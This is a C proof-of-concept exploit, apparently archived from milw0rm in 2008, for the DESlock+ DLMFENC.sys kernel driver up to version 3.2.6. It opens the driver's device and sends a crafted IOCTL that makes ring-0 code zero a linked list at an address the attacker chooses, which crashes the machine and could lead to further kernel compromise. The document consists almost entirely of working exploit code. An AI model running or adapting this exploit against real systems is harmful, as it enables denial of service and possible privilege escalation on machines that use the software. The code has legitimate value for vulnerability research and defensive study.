DESlock+ < 3.2.6 - 'DLMFENC.sys' Local Kernel Ring0 link list zero (PoC)

/* deslock-list-zero.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * DESlock+ <= 3.2.6 local kernel ring0 link list zero POC
 * by mu-b - Fri 21 Dec 2007
 *
 * - Tested on: DLMFENC.sys 1.0.0.26
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>

#define DLMFENC_IOCTL 0x0FA4204C
#define DLMFENC_FLAG  0xDEADBEEF
#define ZERO_MEM      0xDEADBEEF

#define ARG_SIZE(a)   ((a-(sizeof (int)*2))/sizeof (void *))

struct ioctl_req {
  int flag;
  int req_num;
  void *arg[ARG_SIZE(0x20)];
};

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  HANDLE hFile;
  BOOL result;
  DWORD rlen;

  printf ("DESlock+ <= 3.2.6 local kernel ring0 link list zero PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  fflush (stdout);
  hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  memset (&req, 0, sizeof req);
  req.flag = DLMFENC_FLAG;
  req.req_num = 4;
  req.arg[0] = (void *) ZERO_MEM;

  result = DeviceIoControl (hFile, DLMFENC_IOCTL,
                            &req, sizeof req, &req, sizeof req, &rlen, 0);
  if (!result)
    {
      fprintf (stderr, "* DeviceIoControl failed\n");
      exit (EXIT_FAILURE);
    }

  printf ("* hmmm, you didn't STOP the box?!?! rlen: %d\n", rlen);

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}

// milw0rm.com [2008-02-18]